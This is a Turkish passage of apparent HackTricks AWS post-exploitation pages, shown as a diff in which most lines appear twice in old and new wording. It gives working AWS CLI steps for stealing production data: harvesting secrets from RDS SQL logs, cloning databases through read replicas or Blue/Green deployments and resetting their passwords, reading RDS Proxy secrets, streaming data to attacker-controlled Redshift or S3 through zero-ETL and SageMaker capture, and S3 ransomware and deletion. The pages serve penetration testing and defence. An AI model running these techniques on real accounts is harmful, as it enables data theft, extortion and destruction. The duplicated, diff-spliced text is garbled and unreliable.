Uygulamaların çalıştırdığı tüm SQL ifadelerini yakalamak için `rds:ModifyDBParameterGroup`'ı RDS log indirme API'leri ile suistimal et (DB engine credentials gerekmez). Engine SQL logging'i etkinleştir ve dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` (veya REST `downloadCompleteLogFile`) ile çek. Gizli/PII/JWT içerebilecek sorguları toplamak için faydalıdır.
`rds:ModifyDBParameterGroup`'ı RDS log download API'leri ile kötüye kullanarak uygulamalar tarafından yürütülen tüm SQL ifadelerini yakalayın (DB engine kimlik bilgileri gerekmez). Engine SQL logging'i etkinleştirin ve dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` ile çekin (veya REST `downloadCompleteLogFile`). secrets/PII/JWTs içerebilecek sorguları toplamak için kullanışlıdır.
Gerekli izinler (asgari):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (sadece instance varsayılan parameter group'u kullanıyorsa özel bir parameter group eklemek için)
- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, örn. PostgreSQL)
- `rds:ModifyDBInstance` (yalnızca örnek default bir parameter group kullanıyorsa custom bir parameter group eklemek için)
- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, ör. PostgreSQL)
Adımlar
1) Recon: hedefi ve mevcut parameter group'u tespit et
Steps
1) Recon hedefi ve mevcut parameter grubunu tespit edin
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Özel bir DB parameter group iliştirilmiş olduğundan emin olun (varsayılanı düzenleyemezsiniz)
2) Özel bir DB parameter group'un iliştirilmiş olduğundan emin olun (varsayılan düzenlenemez)
- Eğer instance zaten özel bir DB parameter group kullanıyorsa, bir sonraki adımda adını yeniden kullanın.
- Aksi halde engine family ile eşleşen bir tane oluşturup iliştirin:
- Aksi takdirde engine family ile eşleşen bir tane oluşturup iliştirin:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
@@ -232,8 +232,8 @@ aws rds modify-db-instance \
--apply-immediately
# Wait until status becomes "available"
```
3) Ayrıntılı SQL kaydını etkinleştirin
- MySQL engines (hemen / yeniden başlatma gerekmez):
3) Ayrıntılı SQL logging'i etkinleştirin
- MySQL engines (anında / yeniden başlatma gerektirmez):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -244,7 +244,7 @@ aws rds modify-db-parameter-group \
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL motorları (yeniden başlatma gerekiyor):
- PostgreSQL motorları (yeniden başlatma gerekli):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
@@ -256,11 +256,11 @@ aws rds modify-db-parameter-group \
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) İş yükünü çalıştırın (veya sorgular oluşturun). İfadeler engine dosya günlüklerine yazılacak
4) İş yükünün çalışmasına izin ver (veya sorgular üret). İfadeler engine file loglarına yazılacaktır
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Günlükleri keşfedin ve indirin (no DB creds required)
5) Logları keşfet ve indir (no DB creds required)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
@@ -271,11 +271,11 @@ aws rds download-db-log-file-portion \
--starting-token 0 \
--output text > dump.log
```
6) Hassas veriler için çevrimdışı analiz yap
6) Çevrimdışı olarak hassas verileri analiz et
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
Örnek kanıt (redakte edilmiş):
Örnek kanıt (sansürlenmiş):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
@@ -297,19 +297,19 @@ aws rds modify-db-parameter-group \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Etkisi: Post-exploitation sırasında AWS APIs aracılığıyla tüm uygulama SQL ifadelerini yakalayarak veri erişimi (no DB creds); secrets, JWTs ve PII'nin leaking potansiyeli.
Etkisi: Post-exploitation aşamasında, AWS API'leri aracılığıyla tüm uygulama SQL ifadelerinin yakalanmasıyla veri erişimi (DB kimlik bilgisi gerekmez), potansiyel olarak secrets, JWTs ve PII leaking.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
RDS read replicas'larını kötüye kullanarak primary instance kimlik bilgilerine dokunmadan out-of-band okuma erişimi elde edilebilir. Bir saldırgan production instance'tan bir read replica oluşturabilir, replica'nın master password'unu sıfırlayabilir (bu primary'i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replica'yı herkese açık hale getirebilir.
RDS read replicas'ı kötüye kullanarak primary instance kimlik bilgilerine dokunmadan out-of-band okuma erişimi elde edilebilir. Bir saldırgan production instance'dan bir read replica oluşturabilir, replikasının master password'ünü sıfırlayabilir (bu primary'i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replikayı halka açık hale getirebilir.
Gerekli izinler (minimum):
Permissions needed (minimum):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (herkese açıyorsanız)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
Etkisi: Saldırgan kontrollü kimlik bilgilerine sahip bir replica üzerinden production verilerine salt okunur erişim; primary dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür.
Etkisi: Saldırgan tarafından kontrol edilen kimlik bilgileriyle replikaya erişim üzerinden production verilerine read-only erişim; primary dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -340,13 +340,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Örnek kanıt (MySQL):
- Replica DB durumu: `available`, read replication: `replicating`
- Yeni parola ile başarılı bağlantı ve `@@read_only=1` değeriyle salt okunur replika erişiminin doğrulanması.
Example evidence (MySQL):
- Replika DB durumu: `available`, read replication: `replicating`
- Yeni parola ile başarılı bağlantı ve `@@read_only=1` ile salt okunur replika erişiminin doğrulanması.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
RDS Blue/Green'i suistimal ederek production DB'yi sürekli replike edilen, salt okunur bir green ortama klonlayın. Ardından blue (prod) instance'a dokunmadan verilere erişmek için green master kimlik bilgilerini sıfırlayın. Bu, snapshot paylaşımına kıyasla daha sinsi olup genellikle yalnızca kaynağa odaklanan izlemeyi atlatır.
RDS Blue/Green'i suistimal ederek üretim DB'yi sürekli çoğaltılan, salt okunur bir green ortama klonlayın. Ardından green master kimlik bilgilerini sıfırlayarak blue (prod) örneğine dokunmadan verilere erişin. Bu, snapshot paylaşımından daha gizlidir ve genellikle yalnızca kaynağa odaklanan izlemeyi atlatır.
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -393,22 +393,22 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Etkisi: Üretim örneğini değiştirmeden, üretimin neredeyse gerçek zamanlı bir klonuna salt okunur ancak tam veri erişimi sağlar. Gizli veri çıkarımı ve çevrimdışı analiz için kullanışlıdır.
Etkisi: Yalnızca okunur; üretim örneğini değiştirmeden üretimin neredeyse gerçek zamanlı bir klonuna tam veri erişimi sağlar. Gizli veri çıkarımı ve çevrimdışı analiz için faydalıdır.
### RDS Data API aracılığıyla bantdışı SQL — HTTP endpoint'i etkinleştirerek + master password'u sıfırlayarak
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
Hedef bir cluster'da RDS Data API HTTP endpoint'ini etkinleştirmek, master password'u kontrolünüzde olan bir değere sıfırlamak ve SQL'i HTTPS üzerinden çalıştırmak için Aurora'yı kötüye kullanın (VPC ağ yolu gerekmez). Data API/EnableHttpEndpoint'i destekleyen Aurora motorlarında çalışır (ör. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri).
Aurora'yı hedef bir cluster üzerinde RDS Data API HTTP endpoint'ini etkinleştirmek, master parolayı kontrolünüzde olan bir değere sıfırlamak ve HTTPS üzerinden SQL çalıştırmak için kötüye kullanın (VPC ağ yolu gerekmez). Data API/EnableHttpEndpoint'i destekleyen Aurora motorlarında çalışır (ör. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri).
İzinler (minimum):
İzinler (asgari):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Etkisi: Ağ segmentasyonunu aşar ve DB'ye doğrudan VPC bağlantısı olmadan AWS API'leri üzerinden veri sızdırır.
Etkisi: Ağ segmentasyonunu atlatarak AWS API'leri üzerinden doğrudan VPC bağlantısı olmadan DB'den veri sızdırma.
<details>
<summary>Uçtan uca CLI (Aurora MySQL örneği)</summary>
<summary>Uçtan uca CLI (Aurora MySQL example)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
@@ -460,24 +460,24 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
```
</details>
Notlar:
- Eğer rds-data tarafından çoklu ifadeli SQL reddedilirse, ayrı execute-statement çağrıları yapın.
- modify-db-cluster --enable-http-endpoint'in etkisi olmayan engine'ler için rds enable-http-endpoint --resource-arn kullanın.
- Engine/version'un gerçekten Data API'yi desteklediğinden emin olun; aksi takdirde HttpEndpointEnabled False olarak kalır.
Notes:
- Eğer rds-data tarafından multi-statement SQL reddediliyorsa, ayrı execute-statement çağrıları yapın.
- modify-db-cluster --enable-http-endpoint etkili olmayan engine'ler için rds enable-http-endpoint --resource-arn kullanın.
- Engine/version'ın gerçekten Data API'yi desteklediğinden emin olun; aksi takdirde HttpEndpointEnabled False olarak kalacaktır.
### RDS Proxy auth secrets aracılığıyla DB kimlik bilgilerini elde etme (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
### RDS Proxy auth secret'leri aracılığıyla DB kimlik bilgilerini elde etme (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Arka uç kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfetmek amacıyla RDS Proxy konfigürasyonunu suiistimal edin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Birçok ortam geniş `secretsmanager:GetSecretValue` izinleri verir; bu da DB kimlik bilgilerine düşük dirençli bir pivot sağlar. Secret bir CMK kullanıyorsa, hatalı sınırlandırılmış KMS izinleri ayrıca `kms:Decrypt` izni verebilir.
RDS Proxy yapılandırmasını kötüye kullanarak backend kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfedin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Birçok ortam geniş `secretsmanager:GetSecretValue` izinleri verir; bu da DB kimlik bilgilerine düşük sürtünmeli bir pivot sağlar. Secret bir CMK kullanıyorsa, yanlış kapsamlı KMS izinleri ayrıca `kms:Decrypt` yetkisi verebilir.
Gerekli izinler (minimum):
Permissions needed (minimum):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` referans verilen SecretArn üzerinde
- Secret bir CMK kullandığında isteğe bağlı: o anahtar üzerinde `kms:Decrypt`
Etkisi: Proxy'de yapılandırılmış DB kullanıcı adı/parolasının hemen ifşa olması; doğrudan DB erişimi veya daha fazla lateral movement sağlar.
Impact: Proxy üzerinde yapılandırılmış DB kullanıcı adı/parolasının derhal ifşa olması; doğrudan DB erişimi veya daha fazla lateral hareket sağlar.
Adımlar
Steps
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
@@ -490,7 +490,7 @@ aws secretsmanager get-secret-value \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
Lab (yeniden üretmek için minimal)
Laboratuvar (yeniden üretmek için minimum)
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -516,17 +516,17 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Stealthy continuous exfiltration via Aurora zeroETL to Amazon Redshift (rds:CreateIntegration)
### Aurora zeroETL ile Amazon Redshift'e gizli sürekli veri sızdırma (rds:CreateIntegration)
Kendi kontrolünüzdeki bir Redshift Serverless namespace'ine üretim verilerini sürekli çoğaltmak için Aurora PostgreSQL zeroETL entegrasyonunu kötüye kullanın. Belirli bir Aurora cluster ARN'si için CreateInboundIntegration/AuthorizeInboundIntegration yetkisi veren gevşek bir Redshift resource policy ile, bir saldırgan DB creds, snapshots veya ağ açığa çıkışı olmadan neredeyse gerçek zamanlı bir veri kopyası oluşturabilir.
Aurora PostgreSQL zeroETL entegrasyonunu kötüye kullanarak üretim verilerini kontrolünüzdeki bir Redshift Serverless namespace'ine sürekli olarak çoğaltın. Belirli bir Aurora cluster ARN için CreateInboundIntegration/AuthorizeInboundIntegration yetkisini veren gevşek bir Redshift kaynak politikasıyla bir saldırgan, DB creds, snapshots veya network exposure olmadan neredeyse gerçek zamanlı bir veri kopyası oluşturabilir.
Gerekli izinler (minimum):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (sorgulamak için)
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (sorgulama için)
- `rds-data:ExecuteStatement` (opsiyonel; gerekiyorsa veri eklemek için)
Test edildiği ortamlar: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
Test edildi: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Redshift Serverless namespace + workgroup oluşturma</summary>
@@ -576,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
</details>
<details>
<summary>3) Aurora PostgreSQL kümesi oluşturun (Data API ve logical replication'ı etkinleştirin)</summary>
<summary>3) Aurora PostgreSQL kümesi oluşturun (Data API ve logical replication'i etkinleştirin)</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -619,7 +619,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
</details>
<details>
<summary>5) Redshift'te çoğaltılmış verileri materialize edin ve sorgulayın</summary>
<summary>5) Redshift'te çoğaltılmış verileri maddeselleştirme ve sorgulama</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -633,11 +633,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
</details>
Testte gözlemlenen kanıtlar:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- redshift describe-inbound-integrations: Integration arn:...377a462b-... için Status ACTIVE
- SVV_INTEGRATION, DB oluşturulmasından önce integration_id 377a462b-c42c-4f08-937b-77fe75d98211 ve state PendingDbConnectState gösterdi.
- CREATE DATABASE FROM INTEGRATION işleminden sonra, tablolar listelendiğinde schema ztl ve table customers görüldü; ztl.customers'dan yapılan seçim 2 satır (Alice, Bob) döndürdü.
Etkisi: Veritabanı kimlik bilgileri, yedekler veya kaynak kümesine ağ erişimi kullanılmadan, saldırgan tarafından kontrol edilen Redshift Serverless'e seçili Aurora PostgreSQL tablolarının sürekli, yakın gerçek zamanlı olarak sızdırılması.
- CREATE DATABASE FROM INTEGRATION'dan sonra, tablolar listelendiğinde schema ztl ve table customers görüldü; ztl.customers'den yapılan sorgu 2 satır döndürdü (Alice, Bob).
Etkisi: Saldırgan (attacker) tarafından kontrol edilen Redshift Serverless'e seçilen Aurora PostgreSQL tablolarının sürekli, neredeyse gerçek zamanlı exfiltration'ı; veritabanı kimlik bilgileri, yedekler veya kaynak cluster'a ağ erişimi kullanılmadan.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,32 +10,32 @@ Daha fazla bilgi için bakınız:
../../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
### Hassas Bilgiler
### Sensitive Information
Bazen bucket'larda okunabilir halde hassas bilgiler bulabilirsiniz. Örneğin, terraform state'teki secrets.
Bazen bucket'larda okunabilir halde hassas bilgiler bulabilirsiniz. Örneğin, terraform state içindeki sırlar.
### Pivoting
Farklı platformlar hassas varlıkları depolamak için S3 kullanıyor olabilir.\
Örneğin, **airflow** orada **DAGs** **code** depoluyor olabilir veya **web pages** doğrudan S3'ten servis ediliyor olabilir. Yazma izinlerine sahip bir saldırgan bucket içindeki **code**'u değiştirerek diğer platformlara **pivot** yapabilir veya JS dosyalarını değiştirerek hesapları **takeover** edebilir.
Farklı platformlar hassas varlıkları saklamak için S3 kullanıyor olabilir.\
Örneğin, **airflow** orada **DAGs** **code** saklıyor olabilir, veya **web sayfaları** doğrudan S3'ten sunuluyor olabilir. Yazma izinlerine sahip bir saldırgan, bucket'taki **modify the code** ile diğer platformlara **pivot** yapabilir veya JS dosyalarını değiştirerek **takeover accounts** gerçekleştirebilir.
### S3 Ransomware
Bu senaryoda, saldırgan kendi AWS hesabında veya ele geçirilmiş başka bir hesapta bir KMS (Key Management Service) key oluşturur. Ardından bu key'i dünyadaki herhangi birinin kullanımına açık hale getirir; böylece herhangi bir AWS user, role veya account bu key ile objeleri şifreleyebilir. Ancak bu objeler decrypt edilemez.
Bu senaryoda, saldırgan kendi AWS hesabında veya başka bir ele geçirilmiş hesapta bir **KMS (Key Management Service) key** oluşturur. Ardından bu **key'i dünyadaki herkesin erişebileceği** şekilde yapılandırır; böylece herhangi bir AWS kullanıcı, role veya hesap bu anahtarı kullanarak objeleri şifreleyebilir. Ancak objeler geri çözülemez.
Saldırgan hedef S3 bucket'ı belirler ve çeşitli yöntemlerle ona yazma düzeyinde erişim elde eder. Bu, bucket'ın yanlış konfigürasyonu nedeniyle kamuya açık olması ya da saldırganın AWS ortamına erişim kazanması sonucu olabilir. Saldırgan tipik olarak kişisel olarak tanımlanabilir bilgiler (PII), korumalı sağlık bilgileri (PHI), loglar, yedekler ve benzeri hassas bilgileri içeren bucket'ları hedef alır.
Saldırgan hedef **S3 bucket'ı belirler ve ona yazma düzeyinde erişim elde eder**. Bu, bucket'ın kötü yapılandırılması nedeniyle kamuya açık olması veya saldırganın AWS ortamına erişim kazanması yoluyla olabilir. Saldırgan tipik olarak kişisel tanımlayıcı bilgiler (PII), korunmuş sağlık bilgileri (PHI), loglar, yedeklemeler gibi hassas bilgiler içeren bucket'ları hedef alır.
Bucket'ın ransomware hedefi olup olmadığını belirlemek için saldırgan konfigürasyonu kontrol eder. Bu, S3 Object Versioning'in etkin olup olmadığını ve multi-factor authentication delete (MFA delete)'in etkin olup olmadığını doğrulamayı içerir. Eğer Object Versioning etkin değilse saldırgan ilerleyebilir. Object Versioning etkin ancak MFA delete devre dışıysa saldırgan Object Versioning'i devre dışı bırakabilir. Hem Object Versioning hem de MFA delete etkinse, o belirli bucket'ı ransomware yapmak saldırgan için daha zorlaşır.
Bucket'ın ransomware hedefi olup olmadığını belirlemek için saldırgan yapılandırmasını kontrol eder. Bu, **S3 Object Versioning**'in etkin olup olmadığını ve **multi-factor authentication delete (MFA delete)**'in etkin olup olmadığını doğrulamayı içerir. Eğer Object Versioning etkin değilse, saldırgan ilerleyebilir. Eğer Object Versioning etkin ama MFA delete devre dışıysa, saldırgan **Object Versioning'i devre dışı bırakabilir**. Hem Object Versioning hem de MFA delete etkinse, belirli bucket'ı ransomware ile hedeflemek saldırgan için daha zorlaşır.
AWS API'lerini kullanarak saldırgan bucket'taki her objeyi kendi KMS key'ini kullanarak şifrelenmiş bir kopya ile değiştirir. Bu, bucket'taki veriyi erişilemez hale getirir.
AWS API'lerini kullanarak saldırgan, **bucket'taki her objeyi kendi KMS key'iyle şifrelenmiş bir kopyayla değiştirir**. Bu, bucket'taki veriyi etkili şekilde şifreleyerek anahtar olmadan erişilemez hale getirir.
Daha fazla baskı uygulamak için saldırgan saldırıda kullandığı KMS key'in silinmesini zamanlayabilir. Bu, hedefe anahtar silinmeden ve veriler kalıcı olarak kaybolmadan önce kurtarma için 7 günlük bir pencere verir.
Daha fazla baskı uygulamak için saldırgan, saldırıda kullandığı KMS key'in silinmesini zamanlayabilir. Bu, hedefe verilerini geri kazanmak için anahtarın silinmesinden önce 7 günlük bir pencere verir.
Son olarak saldırgan genellikle "ransom-note.txt" adında bir son dosya yükleyebilir; bu dosya hedefe dosyalarını nasıl geri alacağına dair talimatlar içerir. Bu dosya şifrelenmeden yüklenir; muhtemelen hedefin dikkatini çekmek ve ransomwarenın farkına varmasını sağlamak için.
Son olarak, saldırgan genellikle "ransom-note.txt" adında bir dosya yükleyebilir; bu dosya hedefe dosyalarını nasıl geri alacaklarına dair talimatlar içerir. Bu dosya şifrelenmeden yüklenir; muhtemelen hedefin dikkatini çekmek ve ransomware saldırısının farkına varmalarını sağlamak için.
### `s3:RestoreObject`
s3:RestoreObject permission'a sahip bir saldırgan Glacier veya Deep Archive'da arşivlenmiş objeleri yeniden etkinleştirebilir ve bunları geçici olarak erişilebilir hale getirebilir. Bu, normalde erişilemez olan geçmişe yönelik arşivlenmiş verilerin (yedekler, snapshot'lar, loglar, sertifikalar, eski secret'lar) kurtarılması ve exfiltration'ı için imkan sağlar. Eğer saldırgan bu izinleri okuma izinleriyle (ör. s3:GetObject) birleştirirse, hassas verilerin tam kopyalarını elde edebilir.
s3:RestoreObject iznine sahip bir saldırgan, Glacier veya Deep Archive'da arşivlenmiş objeleri yeniden aktifleştirebilir ve bunları geçici olarak erişilebilir hale getirebilir. Bu, normalde ulaşılamayan tarihsel arşivlenmiş verilerin (yedekler, snapshot'lar, loglar, sertifikalar, eski sırlar) kurtarılmasına ve exfiltrate edilmesine olanak sağlar. Saldırgan bu izinleri okuma izinleriyle (ör. s3:GetObject) birleştirirse, hassas verilerin tam kopyalarını elde edebilir.
```bash
aws s3api restore-object \
--bucket <BUCKET_NAME> \
@@ -47,7 +47,7 @@ aws s3api restore-object \
```
### `s3:Delete*`
s3:Delete* iznine sahip bir saldırgan nesneleri, sürümleri ve tüm bucket'ları silebilir, yedekleri bozabilir ve anında ve geri döndürülemez veri kaybına, delillerin yok edilmesine ve yedek veya kurtarma varlıklarının tehlikeye atılmasına neden olabilir.
Bir saldırgan s3:Delete* iznine sahip olduğunda objects, versions ve entire buckets'ı silebilir, backups'ı bozabilir ve anında ve geri döndürülemez veri kaybına, delillerin yok edilmesine ve backup veya recovery artifacts'in tehlikeye girmesine neden olabilir.
```bash
# Delete an object from a bucket
aws s3api delete-object \
@@ -2,18 +2,18 @@
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker endpoint verilerini UpdateEndpoint DataCaptureConfig ile çekme
## UpdateEndpoint DataCaptureConfig ile SageMaker endpoint veri sızdırma
SageMaker endpoint yönetimini kötüye kullanarak, model veya container'a dokunmadan istek/yanıtların tamamının saldırgan tarafından kontrol edilen bir S3 bucket'ına kaydedilmesini etkinleştirin. Sıfır/düşük kesintiyle bir rolling update kullanır ve yalnızca endpoint yönetim izinleri gerektirir.
Model veya container'a dokunmadan, SageMaker endpoint yönetimini kötüye kullanarak tüm istek/yanıt yakalamayı saldırgan tarafından kontrol edilen bir S3 bucket'ına etkinleştirin. Sıfır/az kesinti ile rolling update kullanır ve yalnızca endpoint yönetimi izinleri gerektirir.
### Gereksinimler
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (veya aynı hesap içinde mevcut bir bucket kullanın)
- İsteğe bağlı (SSEKMS kullanılıyorsa): seçilen CMK üzerinde `kms:Encrypt`
- Hedef: Aynı hesap/bölge içinde mevcut bir InService gerçek zamanlı endpoint
- S3: `s3:CreateBucket` (veya aynı hesapta mevcut bir bucket kullanın)
- Opsiyonel (SSEKMS kullanılıyorsa): seçilen CMK üzerinde `kms:Encrypt`
- Hedef: Aynı hesap/bölgede mevcut bir InService gerçek zamanlı endpoint
### Adımlar
1) Bir InService endpoint'i belirleyin ve mevcut üretim varyantlarını toplayın
1) InService durumundaki bir endpoint'i belirleyin ve mevcut production variants'ları toplayın
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -30,7 +30,7 @@ aws s3 mb s3://$BUCKET --region $REGION
```
3) Aynı varyantları koruyan ancak DataCapture'ı attacker bucket'a etkinleştiren yeni bir EndpointConfig oluşturun
Not: CLI doğrulamasını karşılayacak açık content-type'ları kullanın
Not: CLI doğrulamasını karşılayan açık içerik tiplerini kullanın.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,7 +54,7 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) Yeni yapılandırmayı kademeli güncelleme ile uygulayın (minimum/hiç kesinti olmadan)
4) Yeni config'i rolling update ile uygulayın (minimal/hiç kesinti)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
@@ -66,38 +66,39 @@ aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) attacker S3'teki captures'ları doğrulayın
6) Saldırganın S3'ündeki yakalamaları doğrulayın
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### Etki
- Hedeflenen endpoint'ten saldırgan kontrolündeki bir S3 bucket'ına gerçek zamanlı inference istek ve yanıt yüklerinin (ve metadata) tam dışa aktarımı.
- Model/container imajında değişiklik olmadan, yalnızca endpoint düzeyinde yapılan değişikliklerle minimal operasyonel aksama ile gizli bir veri hırsızlığı yolunun mümkün olması.
- Hedeflenen endpoint'ten saldırgan kontrolündeki S3 kovasına gerçek zamanlı inference istek ve yanıt yüklerinin (ve meta verilerinin) tam olarak dışarı aktarılması.
- Model/container image'inde hiçbir değişiklik yapılmaz ve yalnızca endpoint düzeyinde değişiklikler uygulanır; bu, operasyonel kesintiyi en aza indirirken gizli bir veri hırsızlığı yolu sağlar.
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Mevcut EndpointConfig'i klonlayıp AsyncInferenceConfig.OutputConfig içindeki S3OutputPath/S3FailurePath'i ayarlayarak endpoint yönetimini suistimal edin ve asenkron inference çıktılarının saldırgan kontrolündeki bir S3 bucket'ına yönlendirilmesini sağlayın. Bu, model tahminlerini (ve container tarafından dönüştürülüp dahil edilen girdileri) model/container'ı değiştirmeden dışa aktarır.
## SageMaker asenkron inference çıktı ele geçirme UpdateEndpoint AsyncInferenceConfig aracılığıyla
Mevcut EndpointConfig'i klonlayıp AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath'i ayarlayarak endpoint yönetimini kötüye kullanın; asenkron inference çıktıları saldırgan kontrolündeki bir S3 kovasına yönlendirilir. Bu, model/container'i değiştirmeden model tahminlerini (ve konteyner tarafından dahil edilen her türlü dönüştürülmüş girdiyi) dışarı aktarır.
### Gereksinimler
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: model execution role veya permissive bucket policy aracılığıyla saldırgan kontrolündeki S3 bucket'ına yazma yetkisi
- Hedef: Asenkron invokasyonların kullanıldığı (veya kullanılacak) bir InService endpoint
- S3: model execution role veya izinli bir bucket policy aracılığıyla saldırgan S3 kovasına yazma yeteneği
- Hedef: asenkron invocations'ın kullanıldığı (veya kullanılacak olan) InService endpoint
### Adımlar
1) Hedef endpoint'ten mevcut ProductionVariants'ları toplayın
1) Hedef endpoint'ten mevcut ProductionVariants'i toplayın
```bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) Bir attacker bucket oluşturun (model execution role'unun ona PutObject yapabildiğinden emin olun)
2) Bir attacker bucket oluşturun (model execution rolünün ona PutObject yapabileceğinden emin olun)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
